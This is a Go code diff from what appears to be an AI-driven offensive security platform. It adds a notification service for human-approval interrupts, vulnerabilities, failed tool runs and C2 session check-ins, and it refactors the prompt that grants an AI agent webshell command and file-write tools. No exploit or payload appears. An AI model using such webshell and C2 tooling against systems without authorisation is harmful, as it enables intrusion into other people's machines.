h.persistEinoAgentTraceForResume(prep.ConversationID, result)
|
||||
h.logger.Error("Eino DeepAgent 执行失败", zap.Error(runErr))
|
||||
errMsg := "执行失败: " + runErr.Error()
|
||||
if prep.AssistantMessageID != "" {
|
||||
@@ -341,9 +343,9 @@ func (h *AgentHandler) MultiAgentLoop(c *gin.Context) {
|
||||
)
|
||||
}
|
||||
|
||||
if result.LastReActInput != "" || result.LastReActOutput != "" {
|
||||
if err := h.db.SaveReActData(prep.ConversationID, result.LastReActInput, result.LastReActOutput); err != nil {
|
||||
h.logger.Warn("保存 ReAct 数据失败", zap.Error(err))
|
||||
if result.LastAgentTraceInput != "" || result.LastAgentTraceOutput != "" {
|
||||
if err := h.db.SaveAgentTrace(prep.ConversationID, result.LastAgentTraceInput, result.LastAgentTraceOutput); err != nil {
|
||||
h.logger.Warn("保存代理轨迹失败", zap.Error(err))
|
||||
}
|
||||
}
|
||||
|
||||
@@ -355,6 +357,19 @@ func (h *AgentHandler) MultiAgentLoop(c *gin.Context) {
|
||||
})
|
||||
}
|
||||
|
||||
// persistEinoAgentTraceForResume 在 Eino 运行异常结束时写入代理轨迹(库列 last_react_*),供下一请求 loadHistoryFromAgentTrace 软续跑。
|
||||
func (h *AgentHandler) persistEinoAgentTraceForResume(conversationID string, result *multiagent.RunResult) {
|
||||
if h == nil || result == nil {
|
||||
return
|
||||
}
|
||||
if result.LastAgentTraceInput == "" && result.LastAgentTraceOutput == "" {
|
||||
return
|
||||
}
|
||||
if err := h.db.SaveAgentTrace(conversationID, result.LastAgentTraceInput, result.LastAgentTraceOutput); err != nil {
|
||||
h.logger.Warn("保存 Eino 续跑上下文失败", zap.String("conversationId", conversationID), zap.Error(err))
|
||||
}
|
||||
}
|
||||
|
||||
func multiAgentHTTPErrorStatus(err error) (int, string) {
|
||||
msg := err.Error()
|
||||
switch {
|
||||
|
||||
@@ -49,7 +49,7 @@ func (h *AgentHandler) prepareMultiAgentSession(req *ChatRequest) (*multiAgentPr
|
||||
}
|
||||
}
|
||||
|
||||
agentHistoryMessages, err := h.loadHistoryFromReActData(conversationID)
|
||||
agentHistoryMessages, err := h.loadHistoryFromAgentTrace(conversationID)
|
||||
if err != nil {
|
||||
historyMessages, getErr := h.db.GetMessages(conversationID)
|
||||
if getErr != nil {
|
||||
@@ -73,12 +73,7 @@ func (h *AgentHandler) prepareMultiAgentSession(req *ChatRequest) (*multiAgentPr
|
||||
h.logger.Warn("WebShell AI 助手:未找到连接", zap.String("id", req.WebShellConnectionID), zap.Error(errConn))
|
||||
return nil, fmt.Errorf("未找到该 WebShell 连接")
|
||||
}
|
||||
remark := conn.Remark
|
||||
if remark == "" {
|
||||
remark = conn.URL
|
||||
}
|
||||
webshellContext := fmt.Sprintf("[WebShell 助手上下文] 当前连接 ID:%s,备注:%s。可用工具(仅在该连接上操作时使用,connection_id 填 \"%s\"):webshell_exec、webshell_file_list、webshell_file_read、webshell_file_write、record_vulnerability、list_knowledge_risk_types、search_knowledge_base。Skills 包请使用 Eino 多代理内置 `skill` 工具。\n\n用户请求:%s",
|
||||
conn.ID, remark, conn.ID, req.Message)
|
||||
webshellContext := BuildWebshellAssistantContext(conn, WebshellSkillHintMultiAgent, req.Message)
|
||||
// WebShell 模式下如果同时指定了角色,追加角色 user_prompt(工具集仍仅限 webshell 专用工具)
|
||||
if req.Role != "" && req.Role != "默认" && h.config != nil && h.config.Roles != nil {
|
||||
if role, exists := h.config.Roles[req.Role]; exists && role.Enabled && role.UserPrompt != "" {
|
||||
|
||||
@@ -0,0 +1,699 @@
|
||||
package handler
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"net/http"
|
||||
"sort"
|
||||
"strconv"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"cyberstrike-ai/internal/database"
|
||||
"github.com/gin-gonic/gin"
|
||||
"go.uber.org/zap"
|
||||
)
|
||||
|
||||
// NotificationHandler 聚合通知(Phase 2:服务端统一计算)
|
||||
type NotificationHandler struct {
|
||||
db *database.DB
|
||||
agentHandler *AgentHandler
|
||||
logger *zap.Logger
|
||||
}
|
||||
|
||||
const notificationReadMaxRows = 150
|
||||
|
||||
// NotificationSummaryItem 通知项
|
||||
type NotificationSummaryItem struct {
|
||||
ID string `json:"id"`
|
||||
Level string `json:"level"` // p0/p1/p2
|
||||
Type string `json:"type"`
|
||||
Title string `json:"title"`
|
||||
Desc string `json:"desc"`
|
||||
Ts string `json:"ts"` // RFC3339
|
||||
Count int `json:"count,omitempty"`
|
||||
Actionable bool `json:"actionable"`
|
||||
Read bool `json:"read"`
|
||||
// 以下字段用于前端深链跳转(通知即入口)
|
||||
ConversationID string `json:"conversationId,omitempty"`
|
||||
VulnerabilityID string `json:"vulnerabilityId,omitempty"`
|
||||
ExecutionID string `json:"executionId,omitempty"`
|
||||
InterruptID string `json:"interruptId,omitempty"`
|
||||
SessionID string `json:"sessionId,omitempty"` // C2 会话(如新会话上线)
|
||||
}
|
||||
|
||||
// NotificationSummaryResponse 聚合响应
|
||||
type NotificationSummaryResponse struct {
|
||||
SinceMs int64 `json:"sinceMs"`
|
||||
GeneratedAt string `json:"generatedAt"`
|
||||
P0Count int `json:"p0Count"`
|
||||
UnreadCount int `json:"unreadCount"`
|
||||
Counts map[string]int `json:"counts"`
|
||||
Items []NotificationSummaryItem `json:"items"`
|
||||
}
|
||||
|
||||
func NewNotificationHandler(db *database.DB, agentHandler *AgentHandler, logger *zap.Logger) *NotificationHandler {
|
||||
return &NotificationHandler{
|
||||
db: db,
|
||||
agentHandler: agentHandler,
|
||||
logger: logger,
|
||||
}
|
||||
}
|
||||
|
||||
func parseSinceMs(raw string) int64 {
|
||||
v := strings.TrimSpace(raw)
|
||||
if v == "" {
|
||||
return 0
|
||||
}
|
||||
if ms, err := strconv.ParseInt(v, 10, 64); err == nil && ms > 0 {
|
||||
return ms
|
||||
}
|
||||
if t, err := time.Parse(time.RFC3339, v); err == nil {
|
||||
return t.UnixMilli()
|
||||
}
|
||||
return 0
|
||||
}
|
||||
|
||||
func unixSecToRFC3339(sec int64) string {
|
||||
if sec <= 0 {
|
||||
return time.Now().UTC().Format(time.RFC3339)
|
||||
}
|
||||
return time.Unix(sec, 0).UTC().Format(time.RFC3339)
|
||||
}
|
||||
|
||||
func normalizedSinceSec(sinceMs int64) int64 {
|
||||
sec := sinceMs / 1000
|
||||
// SQLite 默认时间精度到秒;给 1s 回看窗口,避免“同秒内新增”被漏算。
|
||||
if sec > 0 {
|
||||
return sec - 1
|
||||
}
|
||||
return 0
|
||||
}
|
||||
|
||||
func normalizeSinceMs(raw int64) int64 {
|
||||
if raw > 0 {
|
||||
return raw
|
||||
}
|
||||
// 默认仅看最近 24 小时,避免首次打开拉全量历史噪音。
|
||||
return time.Now().Add(-24 * time.Hour).UnixMilli()
|
||||
}
|
||||
|
||||
func levelBySeverity(sev string) string {
|
||||
switch strings.ToLower(strings.TrimSpace(sev)) {
|
||||
case "critical", "high":
|
||||
return "p0"
|
||||
case "medium":
|
||||
return "p1"
|
||||
default:
|
||||
return "p2"
|
||||
}
|
||||
}
|
||||
|
||||
func requestWantsEnglish(c *gin.Context) bool {
|
||||
if c == nil {
|
||||
return false
|
||||
}
|
||||
lang := strings.ToLower(strings.TrimSpace(c.Query("lang")))
|
||||
if lang == "" {
|
||||
lang = strings.ToLower(strings.TrimSpace(c.GetHeader("Accept-Language")))
|
||||
}
|
||||
return strings.HasPrefix(lang, "en")
|
||||
}
|
||||
|
||||
func i18nText(english bool, zh string, en string) string {
|
||||
if english {
|
||||
return en
|
||||
}
|
||||
return zh
|
||||
}
|
||||
|
||||
func (h *NotificationHandler) loadPendingHITLItems(limit int, english bool) ([]NotificationSummaryItem, error) {
|
||||
rows, err := h.db.Query(`
|
||||
SELECT
|
||||
id,
|
||||
conversation_id,
|
||||
tool_name,
|
||||
COALESCE(CAST(strftime('%s', created_at) AS INTEGER), 0)
|
||||
FROM hitl_interrupts
|
||||
WHERE status = 'pending'
|
||||
ORDER BY created_at DESC
|
||||
LIMIT ?
|
||||
`, limit)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
defer rows.Close()
|
||||
items := make([]NotificationSummaryItem, 0, limit)
|
||||
for rows.Next() {
|
||||
var id, conversationID, toolName string
|
||||
var createdSec int64
|
||||
if err := rows.Scan(&id, &conversationID, &toolName, &createdSec); err != nil {
|
||||
continue
|
||||
}
|
||||
desc := i18nText(english, "会话 "+conversationID+" 的审批中断待处理", "Conversation "+conversationID+" has pending HITL approval")
|
||||
if strings.TrimSpace(toolName) != "" {
|
||||
desc = i18nText(english, "工具 "+toolName+" 等待审批", "Tool "+toolName+" is waiting for approval")
|
||||
}
|
||||
items = append(items, NotificationSummaryItem{
|
||||
ID: "hitl:" + id,
|
||||
Level: "p0",
|
||||
Type: "hitl_pending",
|
||||
Title: i18nText(english, "HITL 待审批", "HITL Pending Approval"),
|
||||
Desc: desc,
|
||||
Ts: unixSecToRFC3339(createdSec),
|
||||
Count: 1,
|
||||
Actionable: true,
|
||||
Read: false,
|
||||
ConversationID: conversationID,
|
||||
InterruptID: id,
|
||||
})
|
||||
}
|
||||
return items, nil
|
||||
}
|
||||
|
||||
func (h *NotificationHandler) loadVulnerabilityItems(sinceMs int64, limit int, english bool) ([]NotificationSummaryItem, map[string]int, error) {
|
||||
sinceSec := normalizedSinceSec(sinceMs)
|
||||
rows, err := h.db.Query(`
|
||||
SELECT
|
||||
id,
|
||||
title,
|
||||
severity,
|
||||
conversation_id,
|
||||
COALESCE(CAST(strftime('%s', created_at) AS INTEGER), 0)
|
||||
FROM vulnerabilities
|
||||
WHERE CAST(strftime('%s', created_at) AS INTEGER) > ?
|
||||
ORDER BY created_at DESC
|
||||
LIMIT ?
|
||||
`, sinceSec, limit)
|
||||
if err != nil {
|
||||
return nil, nil, err
|
||||
}
|
||||
defer rows.Close()
|
||||
items := make([]NotificationSummaryItem, 0, limit)
|
||||
counts := map[string]int{
|
||||
"newCriticalVulns": 0,
|
||||
"newHighVulns": 0,
|
||||
"newMediumVulns": 0,
|
||||
"newLowVulns": 0,
|
||||
"newInfoVulns": 0,
|
||||
}
|
||||
for rows.Next() {
|
||||
var id, title, severity, conversationID string
|
||||
var createdSec int64
|
||||
if err := rows.Scan(&id, &title, &severity, &conversationID, &createdSec); err != nil {
|
||||
continue
|
||||
}
|
||||
switch strings.ToLower(strings.TrimSpace(severity)) {
|
||||
case "critical":
|
||||
counts["newCriticalVulns"]++
|
||||
case "high":
|
||||
counts["newHighVulns"]++
|
||||
case "medium":
|
||||
counts["newMediumVulns"]++
|
||||
case "low":
|
||||
counts["newLowVulns"]++
|
||||
default:
|
||||
counts["newInfoVulns"]++
|
||||
}
|
||||
sevUpper := strings.ToUpper(strings.TrimSpace(severity))
|
||||
if sevUpper == "" {
|
||||
sevUpper = "INFO"
|
||||
}
|
||||
finalTitle := i18nText(english, "新漏洞("+sevUpper+")", "New Vulnerability ("+sevUpper+")")
|
||||
finalDesc := strings.TrimSpace(title)
|
||||
if finalDesc == "" {
|
||||
finalDesc = i18nText(english, "(无标题)", "(Untitled)")
|
||||
}
|
||||
items = append(items, NotificationSummaryItem{
|
||||
ID: "vuln:" + id,
|
||||
Level: levelBySeverity(severity),
|
||||
Type: "vulnerability_created",
|
||||
Title: finalTitle,
|
||||
Desc: finalDesc,
|
||||
Ts: unixSecToRFC3339(createdSec),
|
||||
Count: 1,
|
||||
Actionable: false,
|
||||
Read: false,
|
||||
ConversationID: conversationID,
|
||||
VulnerabilityID: id,
|
||||
})
|
||||
}
|
||||
return items, counts, nil
|
||||
}
|
||||
|
||||
// loadC2SessionOnlineEvents 新会话上线(c2_events:session + critical,与 Manager.IngestCheckIn 一致)
|
||||
func (h *NotificationHandler) loadC2SessionOnlineEvents(sinceMs int64, limit int, english bool) ([]NotificationSummaryItem, int, error) {
|
||||
sinceSec := normalizedSinceSec(sinceMs)
|
||||
rows, err := h.db.Query(`
|
||||
SELECT id, message, COALESCE(session_id, ''),
|
||||
COALESCE(CAST(strftime('%s', created_at) AS INTEGER), 0)
|
||||
FROM c2_events
|
||||
WHERE category = 'session' AND level = 'critical'
|
||||
AND CAST(strftime('%s', created_at) AS INTEGER) > ?
|
||||
ORDER BY created_at DESC
|
||||
LIMIT ?
|
||||
`, sinceSec, limit)
|
||||
if err != nil {
|
||||
return nil, 0, err
|
||||
}
|
||||
defer rows.Close()
|
||||
items := make([]NotificationSummaryItem, 0, limit)
|
||||
for rows.Next() {
|
||||
var id, message, sessionID string
|
||||
var createdSec int64
|
||||
if err := rows.Scan(&id, &message, &sessionID, &createdSec); err != nil {
|
||||
continue
|
||||
}
|
||||
desc := strings.TrimSpace(message)
|
||||
if len(desc) > 220 {
|
||||
desc = desc[:200] + "…"
|
||||
}
|
||||
if desc == "" {
|
||||
desc = i18nText(english, "新会话已建立", "A new session was created")
|
||||
}
|
||||
items = append(items, NotificationSummaryItem{
|
||||
ID: "c2evt:" + id,
|
||||
Level: "p0",
|
||||
Type: "c2_session_online",
|
||||
Title: i18nText(english, "C2 新会话上线", "C2 new session online"),
|
||||
Desc: desc,
|
||||
Ts: unixSecToRFC3339(createdSec),
|
||||
Count: 1,
|
||||
Actionable: false,
|
||||
Read: false,
|
||||
SessionID: sessionID,
|
||||
})
|
||||
}
|
||||
return items, len(items), rows.Err()
|
||||
}
|
||||
|
||||
func (h *NotificationHandler) loadFailedExecutionItems(sinceMs int64, limit int, english bool) ([]NotificationSummaryItem, int, error) {
|
||||
sinceSec := normalizedSinceSec(sinceMs)
|
||||
rows, err := h.db.Query(`
|
||||
SELECT
|
||||
id,
|
||||
tool_name,
|
||||
COALESCE(CAST(strftime('%s', start_time) AS INTEGER), 0)
|
||||
FROM tool_executions
|
||||
WHERE status = 'failed'
|
||||
AND CAST(strftime('%s', start_time) AS INTEGER) > ?
|
||||
ORDER BY start_time DESC
|
||||
LIMIT ?
|
||||
`, sinceSec, limit)
|
||||
if err != nil {
|
||||
return nil, 0, err
|
||||
}
|
||||
defer rows.Close()
|
||||
items := make([]NotificationSummaryItem, 0, limit)
|
||||
count := 0
|
||||
for rows.Next() {
|
||||
var id, toolName string
|
||||
var startSec int64
|
||||
if err := rows.Scan(&id, &toolName, &startSec); err != nil {
|
||||
continue
|
||||
}
|
||||
count++
|
||||
if strings.TrimSpace(toolName) == "" {
|
||||
toolName = i18nText(english, "未知工具", "unknown")
|
||||
}
|
||||
items = append(items, NotificationSummaryItem{
|
||||
ID: "exec_failed:" + id,
|
||||
Level: "p0",
|
||||
Type: "task_failed",
|
||||
Title: i18nText(english, "任务执行失败", "Task Execution Failed"),
|
||||
Desc: i18nText(english, "工具 "+toolName+" 执行失败", "Tool "+toolName+" execution failed"),
|
||||
Ts: unixSecToRFC3339(startSec),
|
||||
Count: 1,
|
||||
Actionable: false,
|
||||
Read: false,
|
||||
ExecutionID: id,
|
||||
})
|
||||
}
|
||||
return items, count, nil
|
||||
}
|
||||
|
||||
func (h *NotificationHandler) summarizeLongRunningTasks(threshold time.Duration, english bool) ([]NotificationSummaryItem, int) {
|
||||
if h.agentHandler == nil || h.agentHandler.tasks == nil {
|
||||
return nil, 0
|
||||
}
|
||||
tasks := h.agentHandler.tasks.GetActiveTasks()
|
||||
now := time.Now()
|
||||
items := make([]NotificationSummaryItem, 0, len(tasks))
|
||||
for _, t := range tasks {
|
||||
if t == nil {
|
||||
continue
|
||||
}
|
||||
if now.Sub(t.StartedAt) >= threshold {
|
||||
items = append(items, NotificationSummaryItem{
|
||||
ID: "task_long:" + t.ConversationID,
|
||||
Level: "p1",
|
||||
Type: "long_running_tasks",
|
||||
Title: i18nText(english, "长时间运行任务", "Long Running Task"),
|
||||
Desc: i18nText(english, "会话 "+t.ConversationID+" 运行超过 15 分钟", "Conversation "+t.ConversationID+" has been running over 15 minutes"),
|
||||
Ts: t.StartedAt.UTC().Format(time.RFC3339),
|
||||
Count: 1,
|
||||
Actionable: true,
|
||||
Read: false,
|
||||
ConversationID: t.ConversationID,
|
||||
})
|
||||
}
|
||||
}
|
||||
return items, len(items)
|
||||
}
|
||||
|
||||
func (h *NotificationHandler) summarizeCompletedTasksSince(sinceMs int64, limit int, english bool) ([]NotificationSummaryItem, int) {
|
||||
if h.agentHandler == nil || h.agentHandler.tasks == nil {
|
||||
return nil, 0
|
||||
}
|
||||
since := time.UnixMilli(sinceMs)
|
||||
completed := h.agentHandler.tasks.GetCompletedTasks()
|
||||
items := make([]NotificationSummaryItem, 0, limit)
|
||||
for _, t := range completed {
|
||||
if t == nil {
|
||||
continue
|
||||
}
|
||||
if t.CompletedAt.After(since) {
|
||||
items = append(items, NotificationSummaryItem{
|
||||
ID: "task_completed:" + t.ConversationID + ":" + strconv.FormatInt(t.CompletedAt.Unix(), 10),
|
||||
Level: "p2",
|
||||
Type: "task_completed",
|
||||
Title: i18nText(english, "任务完成", "Task Completed"),
|
||||
Desc: i18nText(english, "会话 "+t.ConversationID+" 已完成", "Conversation "+t.ConversationID+" completed"),
|
||||
Ts: t.CompletedAt.UTC().Format(time.RFC3339),
|
||||
Count: 1,
|
||||
Actionable: false,
|
||||
Read: false,
|
||||
ConversationID: t.ConversationID,
|
||||
})
|
||||
if len(items) >= limit {
|
||||
break
|
||||
}
|
||||
}
|
||||
}
|
||||
return items, len(items)
|
||||
}
|
||||
|
||||
func buildPlaceholders(n int) string {
|
||||
if n <= 0 {
|
||||
return ""
|
||||
}
|
||||
out := make([]string, 0, n)
|
||||
for i := 0; i < n; i++ {
|
||||
out = append(out, "?")
|
||||
}
|
||||
return strings.Join(out, ",")
|
||||
}
|
||||
|
||||
func (h *NotificationHandler) readStatesByIDs(ids []string) (map[string]bool, error) {
|
||||
result := make(map[string]bool, len(ids))
|
||||
if len(ids) == 0 {
|
||||
return result, nil
|
||||
}
|
||||
holders := buildPlaceholders(len(ids))
|
||||
query := "SELECT event_id FROM notification_reads WHERE event_id IN (" + holders + ")"
|
||||
args := make([]interface{}, 0, len(ids))
|
||||
for _, id := range ids {
|
||||
args = append(args, id)
|
||||
}
|
||||
rows, err := h.db.Query(query, args...)
|
||||
if err != nil {
|
||||
return result, err
|
||||
}
|
||||
defer rows.Close()
|
||||
for rows.Next() {
|
||||
var id string
|
||||
if err := rows.Scan(&id); err != nil {
|
||||
continue
|
||||
}
|
||||
result[id] = true
|
||||
}
|
||||
return result, nil
|
||||
}
|
||||
|
||||
func (h *NotificationHandler) applyReadStates(items []NotificationSummaryItem) ([]NotificationSummaryItem, error) {
|
||||
markableIDs := make([]string, 0, len(items))
|
||||
for _, item := range items {
|
||||
if item.Actionable {
|
||||
continue
|
||||
}
|
||||
markableIDs = append(markableIDs, item.ID)
|
||||
}
|
||||
readMap, err := h.readStatesByIDs(markableIDs)
|
||||
if err != nil {
|
||||
return items, err
|
||||
}
|
||||
for i := range items {
|
||||
if items[i].Actionable {
|
||||
items[i].Read = false
|
||||
continue
|
||||
}
|
||||
items[i].Read = readMap[items[i].ID]
|
||||
}
|
||||
return items, nil
|
||||
}
|
||||
|
||||
func filterVisibleItems(items []NotificationSummaryItem) []NotificationSummaryItem {
|
||||
out := make([]NotificationSummaryItem, 0, len(items))
|
||||
for _, item := range items {
|
||||
if item.Actionable || !item.Read {
|
||||
out = append(out, item)
|
||||
}
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
func countP0(items []NotificationSummaryItem) int {
|
||||
total := 0
|
||||
for _, item := range items {
|
||||
if item.Level == "p0" {
|
||||
if item.Count > 0 {
|
||||
total += item.Count
|
||||
} else {
|
||||
total++
|
||||
}
|
||||
}
|
||||
}
|
||||
return total
|
||||
}
|
||||
|
||||
func countUnread(items []NotificationSummaryItem) int {
|
||||
total := 0
|
||||
for _, item := range items {
|
||||
if item.Actionable || !item.Read {
|
||||
if item.Count > 0 {
|
||||
total += item.Count
|
||||
} else {
|
||||
total++
|
||||
}
|
||||
}
|
||||
}
|
||||
return total
|
||||
}
|
||||
|
||||
func createNotificationReadTableIfNeeded(db *database.DB) error {
|
||||
if db == nil {
|
||||
return fmt.Errorf("db is nil")
|
||||
}
|
||||
_, err := db.Exec(`
|
||||
CREATE TABLE IF NOT EXISTS notification_reads (
|
||||
event_id TEXT PRIMARY KEY,
|
||||
read_at DATETIME NOT NULL DEFAULT CURRENT_TIMESTAMP
|
||||
);
|
||||
`)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
_, idxErr := db.Exec(`CREATE INDEX IF NOT EXISTS idx_notification_reads_read_at ON notification_reads(read_at DESC);`)
|
||||
return idxErr
|
||||
}
|
||||
|
||||
func pruneNotificationReads(db *database.DB, maxRows int) error {
|
||||
if db == nil {
|
||||
return fmt.Errorf("db is nil")
|
||||
}
|
||||
if maxRows <= 0 {
|
||||
return nil
|
||||
}
|
||||
_, err := db.Exec(`
|
||||
DELETE FROM notification_reads
|
||||
WHERE event_id NOT IN (
|
||||
SELECT event_id
|
||||
FROM notification_reads
|
||||
ORDER BY read_at DESC, rowid DESC
|
||||
LIMIT ?
|
||||
)
|
||||
`, maxRows)
|
||||
return err
|
||||
}
|
||||
|
||||
type markReadRequest struct {
|
||||
EventIDs []string `json:"eventIds"`
|
||||
}
|
||||
|
||||
func normalizeMarkableEventID(id string) (string, bool) {
|
||||
v := strings.TrimSpace(id)
|
||||
if v == "" {
|
||||
return "", false
|
||||
}
|
||||
// 仅允许“可读后隐藏”的信息类事件;Actionable 事件不参与 read 标记。
|
||||
allowedPrefixes := []string{
|
||||
"vuln:",
|
||||
"exec_failed:",
|
||||
"task_completed:",
|
||||
"c2evt:",
|
||||
}
|
||||
for _, prefix := range allowedPrefixes {
|
||||
if strings.HasPrefix(v, prefix) {
|
||||
return v, true
|
||||
}
|
||||
}
|
||||
return "", false
|
||||
}
|
||||
|
||||
// MarkRead 按事件 ID 标记已读
|
||||
func (h *NotificationHandler) MarkRead(c *gin.Context) {
|
||||
if err := createNotificationReadTableIfNeeded(h.db); err != nil {
|
||||
c.JSON(http.StatusInternalServerError, gin.H{"error": "failed to prepare notification read table"})
|
||||
return
|
||||
}
|
||||
var req markReadRequest
|
||||
if err := c.ShouldBindJSON(&req); err != nil {
|
||||
c.JSON(http.StatusBadRequest, gin.H{"error": "invalid request body"})
|
||||
return
|
||||
}
|
||||
if len(req.EventIDs) == 0 {
|
||||
c.JSON(http.StatusOK, gin.H{"ok": true, "marked": 0})
|
||||
return
|
||||
}
|
||||
tx, err := h.db.Begin()
|
||||
if err != nil {
|
||||
c.JSON(http.StatusInternalServerError, gin.H{"error": "failed to begin transaction"})
|
||||
return
|
||||
}
|
||||
defer func() {
|
||||
_ = tx.Rollback()
|
||||
}()
|
||||
stmt, err := tx.Prepare(`
|
||||
INSERT INTO notification_reads(event_id, read_at)
|
||||
VALUES(?, CURRENT_TIMESTAMP)
|
||||
ON CONFLICT(event_id) DO UPDATE SET read_at = CURRENT_TIMESTAMP
|
||||
`)
|
||||
if err != nil {
|
||||
c.JSON(http.StatusInternalServerError, gin.H{"error": "failed to prepare statement"})
|
||||
return
|
||||
}
|
||||
defer stmt.Close()
|
||||
marked := 0
|
||||
for _, raw := range req.EventIDs {
|
||||
id, ok := normalizeMarkableEventID(raw)
|
||||
if !ok {
|
||||
continue
|
||||
}
|
||||
if _, err := stmt.Exec(id); err != nil {
|
||||
c.JSON(http.StatusInternalServerError, gin.H{"error": "failed to mark read"})
|
||||
return
|
||||
}
|
||||
marked++
|
||||
}
|
||||
if err := tx.Commit(); err != nil {
|
||||
c.JSON(http.StatusInternalServerError, gin.H{"error": "failed to commit read marks"})
|
||||
return
|
||||
}
|
||||
if err := pruneNotificationReads(h.db, notificationReadMaxRows); err != nil {
|
||||
h.logger.Warn("裁剪通知已读记录失败", zap.Error(err))
|
||||
}
|
||||
c.JSON(http.StatusOK, gin.H{"ok": true, "marked": marked})
|
||||
}
|
||||
|
||||
// GetSummary 返回通知聚合视图(用于头部铃铛)
|
||||
func (h *NotificationHandler) GetSummary(c *gin.Context) {
|
||||
if h.db == nil {
|
||||
c.JSON(http.StatusInternalServerError, gin.H{"error": "database unavailable"})
|
||||
return
|
||||
}
|
||||
|
||||
if err := createNotificationReadTableIfNeeded(h.db); err != nil {
|
||||
h.logger.Warn("初始化通知已读表失败", zap.Error(err))
|
||||
c.JSON(http.StatusInternalServerError, gin.H{"error": "failed to initialize notification read table"})
|
||||
return
|
||||
}
|
||||
|
||||
english := requestWantsEnglish(c)
|
||||
sinceMs := normalizeSinceMs(parseSinceMs(c.Query("since")))
|
||||
limit, _ := strconv.Atoi(strings.TrimSpace(c.DefaultQuery("limit", "50")))
|
||||
if limit <= 0 {
|
||||
limit = 50
|
||||
}
|
||||
if limit > 200 {
|
||||
limit = 200
|
||||
}
|
||||
|
||||
hitlItems, err := h.loadPendingHITLItems(limit, english)
|
||||
if err != nil {
|
||||
h.logger.Warn("加载 HITL 通知失败", zap.Error(err))
|
||||
c.JSON(http.StatusInternalServerError, gin.H{"error": "failed to summarize hitl notifications"})
|
||||
return
|
||||
}
|
||||
|
||||
vulnItems, vulnCounts, err := h.loadVulnerabilityItems(sinceMs, limit, english)
|
||||
if err != nil {
|
||||
h.logger.Warn("加载漏洞通知失败", zap.Error(err))
|
||||
c.JSON(http.StatusInternalServerError, gin.H{"error": "failed to summarize vulnerabilities"})
|
||||
return
|
||||
}
|
||||
|
||||
c2OnlineItems, c2OnlineCount, err := h.loadC2SessionOnlineEvents(sinceMs, limit, english)
|
||||
if err != nil {
|
||||
h.logger.Warn("加载 C2 会话上线通知失败", zap.Error(err))
|
||||
c.JSON(http.StatusInternalServerError, gin.H{"error": "failed to summarize c2 session events"})
|
||||
return
|
||||
}
|
||||
|
||||
longRunningItems, longRunningCount := h.summarizeLongRunningTasks(15*time.Minute, english)
|
||||
completedItems, completedCount := h.summarizeCompletedTasksSince(sinceMs, limit, english)
|
||||
|
||||
items := make([]NotificationSummaryItem, 0, len(hitlItems)+len(vulnItems)+len(c2OnlineItems)+len(longRunningItems)+len(completedItems))
|
||||
items = append(items, hitlItems...)
|
||||
items = append(items, vulnItems...)
|
||||
items = append(items, c2OnlineItems...)
|
||||
items = append(items, longRunningItems...)
|
||||
items = append(items, completedItems...)
|
||||
|
||||
items, err = h.applyReadStates(items)
|
||||
if err != nil {
|
||||
h.logger.Warn("加载通知已读状态失败", zap.Error(err))
|
||||
c.JSON(http.StatusInternalServerError, gin.H{"error": "failed to load notification read states"})
|
||||
return
|
||||
}
|
||||
items = filterVisibleItems(items)
|
||||
|
||||
sort.Slice(items, func(i, j int) bool {
|
||||
ti, errI := time.Parse(time.RFC3339, items[i].Ts)
|
||||
tj, errJ := time.Parse(time.RFC3339, items[j].Ts)
|
||||
if errI != nil || errJ != nil {
|
||||
return i < j
|
||||
}
|
||||
return ti.After(tj)
|
||||
})
|
||||
|
||||
p0Count := countP0(items)
|
||||
unreadCount := countUnread(items)
|
||||
c.JSON(http.StatusOK, NotificationSummaryResponse{
|
||||
SinceMs: sinceMs,
|
||||
GeneratedAt: time.Now().UTC().Format(time.RFC3339),
|
||||
P0Count: p0Count,
|
||||
UnreadCount: unreadCount,
|
||||
Counts: map[string]int{
|
||||
"hitlPending": len(hitlItems),
|
||||
"newCriticalVulns": vulnCounts["newCriticalVulns"],
|
||||
"newHighVulns": vulnCounts["newHighVulns"],
|
||||
"newMediumVulns": vulnCounts["newMediumVulns"],
|
||||
"newLowVulns": vulnCounts["newLowVulns"],
|
||||
"newInfoVulns": vulnCounts["newInfoVulns"],
|
||||
"failedExecutions": 0,
|
||||
"longRunningTasks": longRunningCount,
|
||||
"completedTasks": completedCount,
|
||||
"c2SessionOnline": c2OnlineCount,
|
||||
},
|
||||
Items: items,
|
||||
})
|
||||
}
|
||||
+27
-27
@@ -4445,7 +4445,7 @@ func (h *OpenAPIHandler) GetOpenAPISpec(c *gin.Context) {
|
||||
"content": map[string]interface{}{
|
||||
"application/json": map[string]interface{}{
|
||||
"schema": map[string]interface{}{
|
||||
"type": "object",
|
||||
"type": "object",
|
||||
"required": []string{"messageId"},
|
||||
"properties": map[string]interface{}{
|
||||
"messageId": map[string]interface{}{
|
||||
@@ -4689,7 +4689,7 @@ func (h *OpenAPIHandler) GetOpenAPISpec(c *gin.Context) {
|
||||
"content": map[string]interface{}{
|
||||
"application/json": map[string]interface{}{
|
||||
"schema": map[string]interface{}{
|
||||
"type": "object",
|
||||
"type": "object",
|
||||
"required": []string{"scheduleEnabled"},
|
||||
"properties": map[string]interface{}{
|
||||
"scheduleEnabled": map[string]interface{}{"type": "boolean", "description": "是否启用自动调度"},
|
||||
@@ -4761,7 +4761,7 @@ func (h *OpenAPIHandler) GetOpenAPISpec(c *gin.Context) {
|
||||
"content": map[string]interface{}{
|
||||
"application/json": map[string]interface{}{
|
||||
"schema": map[string]interface{}{
|
||||
"type": "object",
|
||||
"type": "object",
|
||||
"required": []string{"query"},
|
||||
"properties": map[string]interface{}{
|
||||
"query": map[string]interface{}{"type": "string", "description": "FOFA查询语法", "example": "domain=\"example.com\""},
|
||||
@@ -4810,7 +4810,7 @@ func (h *OpenAPIHandler) GetOpenAPISpec(c *gin.Context) {
|
||||
"content": map[string]interface{}{
|
||||
"application/json": map[string]interface{}{
|
||||
"schema": map[string]interface{}{
|
||||
"type": "object",
|
||||
"type": "object",
|
||||
"required": []string{"text"},
|
||||
"properties": map[string]interface{}{
|
||||
"text": map[string]interface{}{"type": "string", "description": "自然语言描述", "example": "查找使用WordPress的网站"},
|
||||
@@ -4853,7 +4853,7 @@ func (h *OpenAPIHandler) GetOpenAPISpec(c *gin.Context) {
|
||||
"content": map[string]interface{}{
|
||||
"application/json": map[string]interface{}{
|
||||
"schema": map[string]interface{}{
